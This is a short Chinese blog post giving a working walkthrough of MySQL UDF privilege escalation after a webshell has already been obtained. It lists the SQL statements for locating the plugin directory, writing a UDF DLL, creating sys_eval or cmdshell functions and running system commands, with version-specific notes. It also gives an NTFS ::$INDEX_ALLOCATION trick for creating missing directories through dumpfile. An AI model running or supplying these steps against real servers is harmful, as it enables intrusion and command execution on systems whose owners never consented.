• MySQL UDF提权 过程及注意事项


    MySQL UDF提权 过程及注意事项

    0x00

    udf = ‘user defined function’,即‘用户自定义函数’。是通过添加新函数,对MYSQL的功能进行扩充,性质就象使用本地MYSQL函数如abs()或concat()。udf在mysql5.1以后的版本中,存在

    思路

    当获得webshell后发现权限比较低,但是在inc文件中拿到数据库的用户是root的情况下

    1、选择udf提权,查看插件目录

    SHOW VARIABLES LIKE '%plugins%'

    2、dumpfile写入文件到插件目录

    https://www.sqlsec.com/tools/udf.html

    image-20210113225045656

    3、导入提权函数

    CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll';

    4、通过函数执行系统命令

    SELECT sys_eval('whoami');

    image-20210113225250264

    注意

    1️⃣ 如果导出文件时MySQL安装目录下没有 lib/plugin (插件文件夹)那么则需要开启以下选项才能利用文件流创建目录

    image-20210113221250750

    image-20210113220959321

    2️⃣ 版本<mysql 5.0 时 udf的限制比较松,可以使用绝对路径的UDF,比如

    create function cmdshell returns string soname ‘c:/test/udf.dll’

    3️⃣ 版本<mysql 5.1并且>mysql 5.0 这时候对于udf的限制比较苛刻了,udf的路径必须放置在c:windowssystem32目录中或者mysql的插件目录中。(插件目录可以使用select @@plugin_dir命令来获得)注意:不一定这个目录一定存在

    image-20210113211938760

    4️⃣ 版本>mysql 5.1 时候对udf的限制最为严格,这时候的udf必须放置在插件目录中。但是默认安装的mysql并没有libplugin目录,在我们没有webshell不能创建目录的情况下或者是webshell没有权限创建目录的情况下,我们需要mysql能够为我们创建一个目录。而mysql本身不具备创建目录的功能,这时候很多人就放弃了,其实我们结合ntfs的特性可以实现用mysql实现创建文件夹。

    假设我们的插件目录是c:mysqllibplugin这时候lib和plugin目录是不存在的,这时候我们用两个mysql语句就能实现创建文件夹

    select 'xxx' into dumpfile 'C:MySQLlib::$INDEX_ALLOCATION';

    select 'xxx' into dumpfile 'C:MySQLlibplugin::$INDEX_ALLOCATION';

    这时候会报错ERROR 3 (HY000): Error writing file 'C:MySQLlib::$INDEX_ALLOCATION' (Errcode: 22)这个不用担心,目录已经创建了

  • 相关阅读:
    数据库设计
    Android入门
    Java
    深入理解计算机
    Python
    JS
    powerdesigner
    计算机程序员+研一生活总结
    影视剧里程序员使用的双显示屏,在生活中真的需要么?
    性质太恶劣,紧张时期竟有人开发假冒健康码软件,幸已下架!
  • 原文地址:https://www.cnblogs.com/yujin2020/p/14277692.html
Copyright © 2020-2023  润新知